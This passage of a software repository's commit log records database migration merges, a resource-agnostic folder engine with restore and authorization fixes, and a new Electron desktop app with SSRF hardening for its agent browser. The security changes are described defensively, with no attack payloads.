merge Both sides independently claimed idx 0271, so the snapshot and journal would conflict add/add. Ours is plain additive DDL that drizzle regenerates from schema.ts; staging's is a hand-written CONCURRENTLY index build that cannot be regenerated. Dropping ours and re-generating on top of staging's is the only order that preserves both. schema.ts is deliberately untouched — it is the source of the regeneration. Co-Authored-By: Claude <noreply@anthropic.com> * chore(db): drop branch migration ahead of staging merge Both sides independently claimed idx 0272, so the snapshot and journal would conflict add/add. Ours is plain additive DDL (one enum, two columns, one jsonb default) that drizzle regenerates from schema.ts; staging's is a hand-written migration with DO blocks and CONCURRENTLY index builds that cannot be regenerated. Dropping ours and re-generating on top of staging's is the only order that preserves both. schema.ts is deliberately untouched — it is the source of the regeneration. Co-Authored-By: Claude <noreply@anthropic.com> * style(db): biome-format the regenerated migration metadata drizzle-kit emits _journal.json and the snapshot with expanded arrays, which biome check rejects. The merge commit used --no-verify, so lint-staged never formatted them and CI's lint step failed on exactly these two files. Whitespace only — both files are byte-identical under `jq -S -c`. Co-Authored-By: Claude <noreply@anthropic.com> * fix(desktop): pin the platform in the OS-auth tests promptForSecret gates Touch ID on process.platform === 'darwin'. The suite mocked electron's systemPreferences but inherited the runner's real platform, so the eight biometric expectations passed on a Mac and failed on Linux CI, where every call fell through to the confirmation dialog instead. Pins the platform per-test and restores it after, and adds a case for the gate itself — the branch whose absence from the suite is what let this through. Co-Authored-By: Claude <noreply@anthropic.com> * fix(desktop): refine environment dock icons * fix(desktop): align packaged environment icons * fix(desktop): keep packaged dock icon rendering consistent * fix(desktop): origin urls for prod --------- Co-authored-by: Siddharth Ganesan <siddharthganesan@gmail.com> Co-authored-by: Claude Fable 5 <noreply@anthropic.com> Co-authored-by: Waleed <walif6@gmail.com> Co-authored-by: Theodore Li <theo@sim.ai> |
||
|
Waleed
|
a3413cf5bd |
feat(folders): cut file folders over, and give knowledge bases and tables folders (#6045)
* feat(folders): cut file folders over, and give knowledge bases and tables folders
Builds on the generic resourceType-driven folder engine to finish the migration
and extend it to two more resource trees.
File-folder cutover
- Repoints all 30 `workspace_file_folders` query sites onto `folder` scoped to
`resourceType = 'file'`, id-keyed lookups included — a caller can hand a
workflow folder's id to a file-folder endpoint, and only the predicate stops it
- Adds the missing restore-conflict handling: a file folder whose name was taken
while it was archived now deduplicates against the RESOLVED parent (restore
re-roots when the original parent is still archived) instead of being
permanently unrestorable
- The forking mapper's `resourceType` predicate lives in the `leftJoin`
condition, not the WHERE, where it would silently make the outer join inner
- `servedFolderResourceTypeSchema` gains `file`; the soft-delete sweep enumerates
all four types rather than dropping its predicate
Knowledge Base and Tables folders
- `knowledge_base.folder_id` and `user_table_definitions.folder_id` are now
written and served; both create/move paths admit a folder only through
`findActiveFolder`, scoped to workspace AND resourceType
- Restoring a knowledge base whose folder is still archived re-roots it rather
than filing it somewhere the page never renders; a workspace move re-roots for
the same reason
- Both pages get folder rows, breadcrumbs, inline rename on rows and on the
breadcrumb, move-to submenus, pin/unpin, and drag-a-row-onto-a-folder
Shared folder UI
- One `components/folders/` module now backs Knowledge, Tables, and Files:
`folderBreadcrumbItems` (data for `Resource.Header`, which owns the crumb
chrome), `folderRow`, `folderRowId`/`parseFolderedRowId`, `buildMoveOptions` /
`buildDescendantIndex` / `renderMoveOptions`, `nextUntitledFolderName`,
`FolderContextMenu`, `useFolderNavigation`, `useFolderRowDragDrop`
- Deletes the per-page copies: `files/move-options.tsx` and the Tables-local
folder context menu
Recently Deleted
- Restores folders of every type, not just workflow folders, driven by one
declarative table rather than a branch per resource
Folder pins resolve against `folder` unscoped: file, knowledge-base, and table
folders are all pinnable and all live there, and a folder id addresses exactly
one row.
* fix(folders): close the folder-engine audit findings
Data loss
- Migration 0274 catches up file folders created AFTER 0272. That backfill is guarded
by `WHERE NOT EXISTS (… resource_type = 'file')`, so it fires once; every file folder
created between it and this cutover exists only in `workspace_file_folders`. Without
the catch-up they vanish from Files on deploy and their contents become unreachable
Authorization
- Archived folders were mutable, which bypassed the folder lock: the folder routes and
`updateFolder` filtered id + resourceType but never `deletedAt`, while
`getFolderLockStatus` does — so an archived-but-locked folder reported unlocked. Lock a
subfolder, delete its parent, and any write-level member could rename and reparent it.
PUT and the engine now require an active row; DELETE deliberately still does not, because
it reuses an archived folder's own `deletedAt` to make a partial cascade retryable
- `v1/admin/workflows/import` wrote `folderId` with no validation at all. Migration 0272
dropped the FK, so it accepted a knowledge-base folder, another workspace's folder, or
garbage — and the workflow then rendered under no sidebar node while still executing,
billing, and escaping the folder delete cascade. It now runs the same
`assertFolderInWorkspace` + `assertFolderMutable` pair as `v1/workflows/import`
Restore no longer loses state
- A folder restore ran a bare `archivedAt = null` over its workflows, while the delete had
routed through `archiveWorkflow` — which also disables schedules, webhooks, chats, and MCP
tools. Restoring a folder reported success while every schedule stayed disabled forever
and every chat 404'd. The workflow tree now restores through `restoreWorkflow`, like the
knowledge-base and table trees already did. Deployment state is still deliberately not
revived, matching the single-workflow restore
- Those canonical restores re-root a resource whose folder is archived — correct on its own,
catastrophic inside a cascade, which restores children BEFORE the folder rows and would
therefore dump every child at the workspace root. `resolveRestoredFolderId` takes the
subtree being restored and exempts it. `restoreTable` gained the re-root check it lacked
Correctness
- `getFolderPath` in `lib/folders/tree.ts` walked `parentId` with no `visited` set, so a
cycle in the client cache — reachable through `useReorderFolders`' unchecked optimistic
write — hung the tab. Its twin already had one. Dead `buildFolderMap` deleted
- The sidebar's "New folder" inside a folder hardcoded the name, so the second one 409'd,
was swallowed with only a log line, and the user got no folder and no message. It now
names through the existing `generateSubfolderName` and surfaces failures
- `chunkedBatchDelete` deleted by id with no re-check, so a resource restored between the
SELECT and the DELETE was hard-deleted anyway. Callers now re-assert their soft-delete
predicate on the DELETE
- Recently Deleted and the `restore_resource` tool cover every folder tree, not just
workflow folders, so deleted knowledge-base and table folders are recoverable
Cleanup
- The folder duplicate route stops steering control flow through `throw new Error('literal')`
matched by string, reuses the engine's `nextFolderSortOrder` instead of recomputing it, and
names its workflow scope once
- `servedFolderResourceTypeSchema` documents that its default applies only to an omitted
value; a present-but-unrecognized one is rejected, never coerced to `workflow`
- The `workspace_file_folders` comment described the table as unread and unwritten and
invited a DROP. It was live until this cutover, and it is now the rollback copy — the
comment says so, and names what must be true before anyone drops it
- Pinned rows carry a small non-interactive pin glyph again; they sort to the top and had
nothing explaining why since the inline pin button was removed
Tests
- New `lib/folders/lifecycle.test.ts` covers create/update/delete/restore, the re-root, and
the 23505 mappings; `cleanup-soft-deletes.test.ts` now pins the folder target's
resourceType predicate, which is what keeps the sweep off a not-yet-cut-over type
* improvement(folders): show the pin glyph on Files rows and pin the deploy contract
Files rows were left without the pin indicator the other two lists gained, so a pinned
file or folder still sorted to the top of the Files page with nothing explaining why.
Adds `lib/api/contracts/folders.test.ts`, which pins the three cases that together ARE
the rolling-deploy contract: an omitted `resourceType` defaults to `workflow` (so a client
predating the field keeps working), a present-but-unrecognized one is rejected rather than
coerced, and every served tree is accepted.
* fix(folders): close the findings from the full-diff audit
Migration 0274 reconciles instead of catching up
- The deployed manager writes `workspace_file_folders` EXCLUSIVELY, so `folder`'s file rows
are frozen at the 0272 snapshot: every rename, move, delete, and restore since then lives
only in the legacy table. An insert-only catch-up left all of that diverged — renames
reverted, deleted folders came back as active phantoms, and a stale-active row could hold
the name a newer folder legitimately took
- That last case was silent: the bare `ON CONFLICT DO NOTHING` swallows a NAME violation as
readily as an id one, so the newer folder was discarded and every file inside it stranded.
The conflict target is now `(id)`, so a name collision — which would mean the source
violated its own unique index — fails loudly instead
- Reconciles by parking mirrored names first, then upserting, so no transient state can
collide with the partial unique index. Both statements are idempotent, and the header says
what nothing else would: this has to be run again after the deploy drains, because old pods
keep writing the legacy table until they are gone
`/api/folders` no longer serves file folders
- Adding `'file'` to `servedFolderResourceTypeSchema` opened a second writer over the same
rows. It bypassed the `workspace_file_folders:${workspaceId}` advisory lock that makes the
manager's check-then-write pairs atomic, and it accepted names containing `/`, `\`, `.` and
`..`, which the file surface forbids because a folder name becomes a path segment — a
folder named `a/b` is then unreachable by path forever, and breadcrumbs resolve it as two
segments. The storage cutover never needed a second API, so there isn't one
Conflicts that returned 500
- `v1/admin/workspaces/[id]/import` created its folder with an unserialized SELECT-then-
INSERT, so two imports sharing a folder path failed the whole import. The name is
server-chosen, so it now adopts whichever folder won, like `ensureWorkspaceFileFolderPath`
- Folder duplicate never caught 23505. `newId` is client-supplied, so replaying a duplicate
whose response was lost hit the primary key and returned 500 instead of a 409 the caller
can act on
Performance
- `knowledgeKeys` moved to `hooks/queries/utils/knowledge-keys.ts`. Reading it from
`hooks/queries/kb/knowledge` pulled a ~1000-line hook module — and the `@sim/emcn` barrel
behind it — into `hooks/queries/folders`, which three server prefetches import. That is the
same import edge the navigation-speed audit measured at 11.8MB per workspace route;
`tableKeys` already lived in a keys-only module for exactly this reason
Merge drop
- Knowledge never got the chrome Tables did: its prefetch now fetches the folder tree
alongside the bases, so the list does not paint ungrouped and a `?folderId=` deep link does
not render an empty breadcrumb, and its loading fallback declares the "New folder" action so
the header does not shift on hydration
Comments corrected to match reality
- The shared folder row and context menu claimed Files as a consumer; Files still builds its
own row and routes folders through `FileRowContextMenu`, which the TSDoc now says
- `schema.ts` prescribed a row COUNT comparison before dropping the legacy table. The
divergence 0274 repairs is in row CONTENTS, which a count check passes straight through
* fix(folders): address the review round and the full-PR audit
Reverts the workflow restore hook — it was the wrong fix
- Greptile flagged that restoring a folder leaves schedules disabled and webhooks/chats
inactive. The hook added last round routed workflows through `restoreWorkflow` to address
it, but `restoreDependents` ALREADY clears exactly those columns, in bulk, inside the
restore transaction and matched on the archive timestamp. The hook bought nothing and cost
a per-workflow read/transaction/read OUTSIDE that transaction — roughly 1600 round trips
for a folder of 200 workflows — plus a window where the workflows were active and the
folder was not, and it made `restoreDependents` dead code
- What no restore path can undo is the state archive OVERWRITES: `status: 'disabled'` with
`nextRunAt` cleared, `isActive: false`. Archive does not record what those were, so
restoring them to a constant would re-enable a schedule the user had disabled and re-run a
completed one. Left explicit — redeploy re-activates a schedule — matching deployment state,
which restore also deliberately leaves off. Documented on the config rather than guessed
- Kept the genuine bug the review surfaced underneath it: `restoreWorkflow` un-archived every
dependent by `workflowId` alone, resurrecting a webhook or chat the user had archived days
earlier. Now matched on the workflow's own `archivedAt`, which is the semantics this feature
documents
Bugbot: orphaned knowledge bases vanished from every view
- Knowledge filtered on a raw `folderId === currentFolderId` and never re-rooted a base whose
folder is missing or archived, so a base restored on its own — or left behind by a partial
cascade — was invisible everywhere. Tables already fell those back to the root
A dead `?folderId=` is now healed instead of being a dead end
- A bookmark to a deleted folder rendered the root title over an empty grid, hid everything
actually at the root, and — worse — left every create/upload action targeting the dead id,
filing new resources somewhere nothing could reach. `useFolderNavigation` clears it once the
folder list resolves, which fixes Files, Knowledge, and Tables at once
Parity gaps found by auditing against Files
- Tables sorted folders newest-first on a clean URL while Files and Knowledge sorted A→Z: its
sort params are defaulted, so the raw column was never null. Reads `activeSort` now
- On Tables you could not delete the folder you were standing in — its own row is not in the
list, and the crumb menu offered only Rename, which also made the step-out branch
unreachable dead code
- A failed knowledge-base move was logged and never surfaced, so a rejected move — from the
submenu or from a drag — looked like nothing happened
- A drag begun in another mount of the page could never be dropped: `onDragOver` bailed before
`preventDefault`, so no drop event ever fired and the `dataTransfer` fallback in `onDrop`
was unreachable. External/foreign drags are still ignored, so an OS file dropped on the list
cannot navigate the tab away
Files: a folder cycle crashed the page
- The folder-size roll-up recursed with no `visited` guard, so a parent/child cycle in the
cached tree — reachable through the optimistic folder-move write — recursed until the stack
blew and the page went blank. Also indexes children once instead of re-scanning per node
Migration 0274 is now atomic
- 0272 ends with an embedded COMMIT for its CONCURRENTLY index builds, so this file is not
guaranteed to run inside drizzle's batch transaction. Wrapped in a DO block so the parking
pass cannot commit without the reconcile, which would leave every mirrored folder holding a
placeholder name
- Validated with a read-only dry run: no active name duplicates, no orphaned or
cross-workspace parents, and no id collisions with `workflow_folder`, so the insert cannot
trip the unique index, the FKs, or the resource-type trigger
Smaller corrections
- Knowledge indexed its members for the owner comparator instead of two linear scans per
comparison, and logs a load failure from an effect rather than the render body
- Files uses the shared root sentinel instead of a bare `'__root__'` in two places
- `restore_resource` documents that its two new folder types are unreachable until the enum in
the copilot service's tool catalog — a different repository — widens
- Corrected a forking comment that still described file folders as a separate table
* docs(folders): record the 0272 + 0274 dry-run results on the migration
A read-only dry run materialises the complete post-0272 `folder` table from both source
tables and asserts every constraint it declares: no NULL names, no primary-key collisions
between the two source tables, no unique-index violations, no resource-type or workspace
trigger violations, and no parent/user/workspace FK violations. 0272's dedup renames only
workflow folders, never file folders — the latter is what lets pass 2 write raw names.
* fix(folders): close the findings from the line-by-line audit of the PR
Data integrity
- Workspace fork copied `folderId` verbatim onto the child's tables and knowledge bases. The
column carries no workspace, so a forked row pointed at a folder owned by the SOURCE
workspace — invisible in the fork, and mutated from under it when the source later deleted
that folder (`ON DELETE SET NULL`). Latent until now because nothing wrote a non-null
`folderId` for those two resources; this PR is what makes it reachable. Forked resources land
at the root, like forked files already did
Interaction bugs
- Clearing a dead `?folderId=` wrote through the params' default `history: 'push'`, so Back
returned to the dead URL, which healed and pushed again — the Back button was dead on that
page. It replaces now: opening a folder is navigation, correcting a URL that never pointed
anywhere is not
- That same heal keyed off `isLoading`, which is false for a DISABLED query, false for an
ERRORED one, and false while `keepPreviousData` is showing the previous workspace's folders.
In all three the list is empty or stale, so a transient fetch failure — or a workspace switch
— threw away a perfectly good open folder. Gated on `isSuccess && !isPlaceholderData`
- "New folder" while a search was active created the folder but never showed it: the search
filters folders too, so the new row did not match, the rename field never appeared, and the
create read as a no-op. Both pages clear the search so the thing just created is on screen
- The drag ghost was removed only by `dragend`, which fires on the source row. The table is
virtualized, so scrolling the source out of view mid-drag unmounted it, the event never
arrived, and the ghost stayed on the page with every row stuck at drag opacity. Cleaned up on
unmount as the backstop
- A drag begun in another mount highlighted every folder as a valid target — including the
dragged folder itself — then silently did nothing on drop. It only highlights when the source
is known and was actually checked
Correctness
- The folder-duplicate route caught 23505 across the WHOLE handler, so a unique violation
raised while copying the workflows inside the folder was relabelled "a folder with this name
already exists". Scoped to the folder INSERT, which is the only place the two conflicts the
caller can act on (client-supplied `newId` replay, concurrent name take) actually arise
- The optimistic folder create derived its sort order from the workspace's WORKFLOWS regardless
of resource type. Only the workflow tree interleaves folders and resources in one ordering
space, so a knowledge-base or table folder was placed against an unrelated one
- A table archived between `checkAccess` and the move surfaced as a 500 with a "not found"
body; it is a 404
- `FOLDER_RESOURCE_TYPE_BY_RESTORABLE` was a `Partial` record, so adding a folder tree without a
mapping would compile and silently restore into the workflow tree. Total record now
- Recently Deleted paired query results to folder trees by ARRAY POSITION; reordering the const
would have filed knowledge folders under Tables with no type error. Keyed by type
- The knowledge move's no-op guard compared against the snapshot taken when the menu opened
rather than the live row
Performance — the module split now actually does what it claimed
- `knowledge-keys.ts` justified itself as keeping server prefetches off the ~1000-line
`kb/knowledge` module, but `knowledge/prefetch.ts` still imported its stale-time constant from
exactly that module, whose first line pulls the `@sim/emcn` barrel. Worse, this PR had ADDED
the same class of edge to four prefetches via `FOLDER_LIST_STALE_TIME`/`mapFolder`
- `FOLDER_LIST_STALE_TIME`, `mapFolder`, and `KNOWLEDGE_BASE_LIST_STALE_TIME` now live beside
their key factories, so all four server prefetches import only keys-and-constants modules.
`mapFolder` keeps its explicit field list rather than a spread, so the cached shape cannot
drift from a client fetch
Honesty in comments
- The KB retention `deleteFilter` narrows the restore race but does not close it — documents
hard-deleted by `onBatch` do not come back, so a restore landing mid-batch returns an emptied
base. Said so
- A failed folder restore leaves children active while their folders are still archived. They
are reachable (both lists fall an unresolvable `folderId` back to the root) but they sit at
the root until the restore is retried. Said so
Product policy made visible
- Restore deliberately does not re-enable schedules, webhooks, or chats, because archive
overwrites their state without recording it. A deliberately-disabled schedule or webhook is a
common state rather than an edge case, so reactivating to a constant would be wrong more often
than right. Recently Deleted now says so at the moment of restore instead of leaving it to be
discovered
Smaller
- Pin glyph: dropped the doubled gap, added `role='img'` so the state is announced
- "Move here" carries the folder glyph its sibling leaves do
- `useMoveTable` had stolen `useDeleteTable`'s doc block
- Dead `.returning` column and a `?? null` on a non-nullable param in `moveTableToFolder`
- Tables reads one sort source for both blocks, matching Knowledge
- New test pins that `updateFolder` refuses an archived folder — the guard that stops a delete
from unlocking its locked subfolders
* fix(tables): re-read live placement before skipping a move as a no-op
`handleMoveTable` and `handleMoveFolder` decided "already there, nothing to do" from
`activeTable`/`activeFolder`, which are snapshots taken when the context menu opened. A refetch
or a concurrent move since then makes that comparison stale, so the write the user just asked
for is silently skipped and the row stays where it was. Both now compare against the live list,
matching the knowledge-base move.
* chore(folders): drop production figures from migration and code comments
This repository is public. The 0274 header and the Recently Deleted policy comment carried
concrete counts and ratios taken from the production database, which is operational detail that
does not belong in open source. Both now state the property that matters — what was asserted,
and why disabled-on-restore is the safe default — without the underlying numbers.
* fix(folders): close the findings from auditing the whole release landing unit
Audited as the unit that actually ships — #6014 (pinning), #6025 (workflow folders onto the
generic table), #6037 (the engine) and this branch together against `main`, rather than this
branch against `staging`.
Authorization
- `PUT /api/folders/reorder` still operated on archived folders. `getFolderLockStatus` skips
archived rows, so `assertFolderMutable` there was a guaranteed no-op — meaning a locked folder
became freely reparentable the moment its parent was deleted. This branch closed exactly that
hole on `PUT /api/folders/[id]` and left its sibling open, then widened reorder to three
resource trees. Reordering an archived folder is also wrong on its own terms:
`collectArchivedSubtreeIds` walks the cascade by parent, so moving a branch out of an archived
subtree silently drops it from that folder's restore
Data loss in the purge
- `batchDeleteByWorkspaceAndTimestamp` forwarded its eligibility predicate only into the SELECT,
never the DELETE. The `folder` target runs through it, so a restore committing between the two
statements had its folder hard-deleted anyway — taking the placement of the children the
restore had just brought back. The workflow purge re-checks for precisely this reason and the
knowledge-base sweep gained the same guard earlier in this branch; `folder` had neither. The
wrapper now re-asserts eligibility on the DELETE for every caller
Wire boundary
- `toPinnedItemApi` had no return type, so `pinned_item.resource_type` — plain `text` by design,
against a closed contract enum — was never checked. Annotating it surfaced the real hole
immediately: during a rolling deploy an older pod can read a pin a newer one wrote, and
returning it would fail response validation and take the WHOLE list down rather than the one
row. Unknown kinds are now narrowed out explicitly at the boundary instead of surviving by
accident on a filter whose stated job is something else
Interaction
- The knowledge-base FOLDER move still compared against the snapshot taken when the menu opened.
The resource move on that page and both Tables handlers were fixed earlier in this branch; this
was the last one
Operational
- 0274's "re-run after drain" instruction needed a precondition. Cleanup hard-deletes from
`folder` but never from `workspace_file_folders`, so a re-run after a purge would reinstate
every purged file folder as a soft-deleted phantom whose files are already gone. Retention is
far longer than any drain, so running it promptly is sufficient — but the instruction said
nothing about ordering
Accuracy
- Four comments named symbols that do not exist or no longer apply: `useFolderCreateWithDedup`
(never existed — it is `nextUntitledFolderName`), `collectActiveSubtreeIds`,
`restoreFolderCascade` as the live restore path, and a claim that a server
`createSearchParamsCache` reads the shared folder param. The shared param doc also now admits
Files declares its own `?folderId=` rather than claiming to be the single declaration
- `FOLDER_RESOURCES.file` is unreachable at runtime — `servedFolderResourceTypeSchema` does not
serve `'file'` — and a reader would reasonably assume otherwise. Says so, and says what routing
file folders through the generic engine would bypass
- `pinnedItem.resourceType`'s inline comment was missing `'folder'`
- `folders.test.ts` fixtures still carried `color` and `isExpanded`, both deliberately dropped
from the generic table — pre-consolidation rows masquerading as folders
- `getFolders` in the folder cache had one caller, in its own file
* fix(folders): gate the orphan fallback on a resolved folder index, not a loading flag
The URL heal was fixed to use `isSuccess && !isPlaceholderData`, but the list filters that
decide "this resource's folderId does not resolve, so show it at the root" were left on
`isLoading` — the same footgun, one layer down.
`isLoading` is false for a disabled query (no workspaceId), false for an errored one, and —
because `useFolders` sets `keepPreviousData` — false while the previous workspace's folders are
still on screen during a switch. In all three the index is empty or belongs to another
workspace, so every foldered knowledge base and table was treated as an orphan and dragged to
the root, or filtered out of a deep-linked folder entirely. A transient fetch failure was enough
to make a folder look empty.
`useFolderNavigation` now exposes `foldersResolved` instead of `isLoading`, so the heal and both
list filters share one signal and the footgun is no longer reachable from the hook's surface.
|
||
|
Waleed
|
41a9ae9e3b |
improvement(demo): send every booking CTA to the Sim team demo link (#6047)
* improvement(demo): point /team redirect at the Sim team demo booking link * improvement(demo): route the enterprise talk-to-sales CTA to the same demo link |
||
|
Vikhyath Mondreti
|
507483ff97 |
feat(library): Best AI Agents for Regulated Industry Workflows (Healthcare, Legal, Procurement) (#6046)
* feat(library): Best AI Agents for Regulated Industry Workflows (Healthcare, Legal, Procurement) * feat(library): add generated cover for regulated industry workflows post --------- Co-authored-by: Sim Pi Agent <pi@sim.ai> Co-authored-by: Waleed Latif <walif6@gmail.com> |
||
|
Waleed
|
6cacd7cdb2 |
fix(ci): harden desktop prerelease tag computation (#6044)
An empty stable release list makes `gh ... --jq '.[0].tagName'` print the
literal string "null", which `${LATEST:-v0.0.0}` does not treat as empty,
producing a malformed tag like `vnull..1-beta.N`.
The `|| true` also swallowed a failed release query, silently falling back
to v0.0.0 and publishing a channel build that sorts below the shipped
stable — installed shells would never see it as an update.
|
||
|
Waleed
|
5b7cf99126 |
feat(folders): add the generic resourceType-driven folder engine (#6037)
- Replaces the workflow-hardcoded folder orchestration with a config-driven engine: one implementation parameterized by `FOLDER_RESOURCES`, with `lib/workflows/orchestration/folder-lifecycle.ts` reduced from 620 lines to thin wrappers so no existing caller moved - Threads `resourceType` through all four folder routes and the React Query keys; contract widened to `workflow | knowledge_base | table` - Folder locking moved behind a `supportsLocking` capability rather than scattered `resourceType === 'workflow'` checks - Folder restore now matches dependents by the cascade timestamp, so a schedule or webhook archived independently before a folder delete stays archived (deliberate behavior change, documented in the PR) - 25 cascade tests including a fixed-statement-count assertion guarding against N+1 regressions |
||
|
Siddharth Ganesan
|
1d64b92b41 |
feat(desktop): desktop app (#5998)
* top on a desk * fix auth stuff * intermediate state * update * local filesystem fixes * Huge * fix banner * ci: disable desktop release + e2e in CI for now The desktop-release reusable-workflow call requested contents: write, which ci.yml's permission grant (contents: read) rejects — invalidating the whole CI workflow. Desktop is tested locally for now; signed builds remain available manually via desktop-release.yml workflow_dispatch, and desktop e2e via its own workflow_dispatch. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * ci: exempt electron from the release-age gate (time-boxed) electron@43.1.1 (published 2026-07-14) is exact-pinned for the desktop shell and blocked by minimumReleaseAge until 2026-07-21. Excluded with a drop-after date, following the vetted-typescript precedent. Verified the rest of the desktop dependency set clears the 7-day gate. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * desktop: brand app icon (packaged + dev Dock) - build/icon.icns regenerated from public/logo/primary/large.png on the Apple icon grid (824px body, r=185.4, centered on a transparent 1024 canvas), compiled with iconutil - dev runs set the same mark via app.dock.setIcon (static/dock-icon.png) — unpackaged Electron otherwise shows its default atom icon - un-ignore apps/desktop/build: it holds electron-builder INPUTS (icon, entitlements), which the /apps/**/build output rule was swallowing — the icns and entitlements were never actually tracked - revert resetAdHocDarwinSignature fuse: it corrupts the packaged binary signature (app killed at launch on arm64); the local ad-hoc deep-sign flow doesn't need it Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * desktop: switch app icon to the b&w brand mark White rounded tile with the black sim wordmark (from public/logo/b&w/large.png), replacing the purple variant. Same Apple icon grid geometry (824px body, r=185.4, 1024 canvas). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix banner * Fix * clean up launcher * fix oauth * update desktop app * Improve browser use and consolidate desktop app * Desktop app ui cleanup * Updates * Updates * remove dev tool option * Browser updates * Fix electron bug * Browser shortcuts * lifecycle * feat(desktop): SSRF hardening + shared @sim/security/ssrf (re-home of #5763) (#5784) * feat: re-home @sim/security/ssrf + sim SSRF dedup onto dev (clean core) * feat(desktop): re-integrate SSRF guard + hardening onto rewritten dev Re-applies the browser-agent SSRF guard and hardening onto dev's evolved desktop files (dev rewrote session/driver/handoff/index and split out errors.ts/keyboard.ts): - session.ts: agent-partition onBeforeRequest is the SSRF choke point — DNS-resolving check (fail-closed) for document navigations, synchronous literal-IP backstop for subresources. - driver.ts: browser_navigate/browser_open_tab validate via checkAgentUrl for a clean model error; also adopt shared sleep/getErrorMessage and drop the local reimplementations + banner separators. - index.ts: local-only crashReporter (native minidumps, no upload) + CSP fallback wired into the app session. - window.ts: record the crash-dump dir on renderer_gone. - config.ts: drop the local LOCAL_HOSTNAMES set for the shared isLoopbackHostname (also removes the dead bare '::1'). - cdp.ts: per-WebContents callbacks so a background tab's events reach its own driver. - updater.ts: the manual check now surfaces network/manifest failures instead of silently swallowing them. - README: correct the App Sandbox / security-scoped-bookmark note. - electron-mock: webRequest.onBeforeRequest + crashReporter stubs. - api-validation: annotate dev's validated-envelope double-cast; bump the route-count baseline 964→965 for dev's already-merged route (ratchets stay tight; non-Zod and double-cast at baseline). Skipped as moot (dev already did them independently): launcher isVisible removal, decideStartRoute param drop, local-filesystem clear() removal. * chore(desktop): biome format install-local.ts (pre-existing dev lint failure) * refactor: apply audit cleanup (reuse + simplify) - domain-check: drop the redundant isIpLiteral guard (isLoopbackIp already validates and returns false for non-literals). - session.ts: use shared getErrorMessage instead of the local error ternary (the file already imports it). - tray.ts: use shared sleep() instead of a hand-rolled setTimeout promise. - updater.ts: distinguish the synchronous-throw log from the async-rejection log on the manual update check. * refactor: /simplify pass + review fixes - url-guard: bound the SSRF dns.lookup with a 5s deadline (fails closed on timeout) so a slow/hung resolver can't suspend the check and the onBeforeRequest callback indefinitely (Greptile P2); + test. - Finish the reuse consolidation the earlier pass missed: session.ts second error ternary → getErrorMessage; the bracket-strip idiom → unwrapIpv6Brackets in input-validation.ts, input-validation.server.ts (×2), onepassword/utils.ts (fixes the check:utils banned-pattern CI failure). - driver: document why the tool-level checkAgentUrl coexists with the onBeforeRequest enforcement seam (clean model error; loadURL rejection is swallowed). * fix(desktop): swallow late DNS rejection after the SSRF lookup timeout (Cursor) * refactor: split pure host helpers into @sim/security/hostnames (ipaddr-free) (#5787) unwrapIpv6Brackets + isLoopbackHostname move to a new ipaddr-free sub-export so client code can share them without pulling ipaddr.js into the browser bundle. ssrf.ts re-exports both, so its server/desktop consumers are unchanged. This eliminates the duplicate isLoopbackHostname in apps/sim/lib/core/utils/urls.ts: urls.ts and its three client importers (mcp queries, oauth probe, oauth url-validation) now use the single shared definition. * Desktop app fullscreen mode * fix(copilot): report closed browser session as a distinct terminal tool error A dead agent browser session used to answer every browser tool with an indistinguishable generic ~30s IPC timeout, which the model retried indefinitely (one turn: 59 minutes of failing browser_snapshot calls). - When the desktop app has reported the session closed, page-dependent browser tools fail immediately with an explicit session-closed message (and sessionClosed: true in the result data) instead of burning the full timeout per call. browser_navigate / browser_open_tab / browser_list_tabs still run, since they can start a new session. - A failure whose session died mid-call (e.g. during a takeover) gets the same tag appended, so the model learns the terminal cause rather than seeing a plain timeout. Companion to mothership's tool_failure_loop circuit breaker. * fix(desktop): route Cmd+W to focused browser tabs * fix(desktop): reserve macOS title bar safe area * fix(desktop): limit title bar safe area to login * fix install script * feat(desktop): improve local folder settings * feat(desktop): harden local capabilities and window chrome * fix(invitations): live refetches * fix(desktop): make manual update checks use updater state * fix(desktop): review fixes — OAuth error handling, query freshness, invitations Findings from an end-to-end review of the desktop work, fixed and verified. OAuth connect/login handoff: - Add a friendly /oauth-error landing page + onAPIError.errorURL so provider Cancel/Deny (which Better Auth redirects before the flow state is parsed) no longer dead-ends on a 404; re-initiating supersedes the idle loopback. - Stop a post-consent failure from reporting success (drop the baked-in errorCallbackURL param that collided with Better Auth's appended code; coerce an array error defensively on the complete page). - Guard the desktop connect listener with the same context-age check the web routers use, so an abandoned flow can't mislabel a later completion. - Clear an orphaned pending handoff when a loopback re-bind fails. Query freshness (desktop refetchOnWindowFocus): - Pin refetchOnWindowFocus off on queries that seed editable forms (environment/secrets, credential detail, schedules) so a background focus refetch can't drop an unsaved draft, and on the useWorkflowStates fan-out so returning to a large table doesn't fire N heavy envelope fetches. All no-ops on web (default already false). Invitations (in-app pending invitations): - Map accept/decline failures to friendly copy instead of raw machine codes. - Invalidate subscription + refresh session on accept (parity with the email path); reconcile the list on failure (onSettled) so dead rows drop. - Gate the modal's query on open so it no longer fetches on every app load. CI: - Wrap the latest-mac.yml update-feed route in withRouteHandler and allowlist it as a non-boundary route (input-less, YAML) so the contract audit passes. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * updates * fix(desktop): use workflow colors for environment icons * fix(desktop): use orange for dev icon border * fix(login): change one time token generation to GET * improvement(desktop): reveal local folders from settings Local-folder rows rendered their glyph at 20px inside the bordered credential tile — chrome meant for brand and logo icons — above a static subtitle that repeated what the section already said. The row now shows a plain 14px folder icon and the folder name alone. Clicking a row reveals the folder in the OS file manager through a new reveal_mount bridge op, which resolves the opaque localfs URI to a live grant and requires an active user gesture, matching the other grant mutations. The absolute host path still never crosses the bridge. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb * improvement(desktop): row actions menu for folder grants, larger version text Revoke moves from an always-visible chip into the canonical RowActionsMenu, matching the MCP server rows. The version value moves off text-caption onto text-sm — it was rendering at the subtitle size, which also shrank the "x -> y on restart" line that matters most. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb * feat(desktop): improve browser tab usability * fix(desktop): thicken environment icon borders * fix(desktop): strengthen environment icon borders * feat(desktop): support multiple windows and harden the agent browser Sim can now open many full windows in one process. The embedded browser is still a single native surface, so exactly one window owns it at a time. 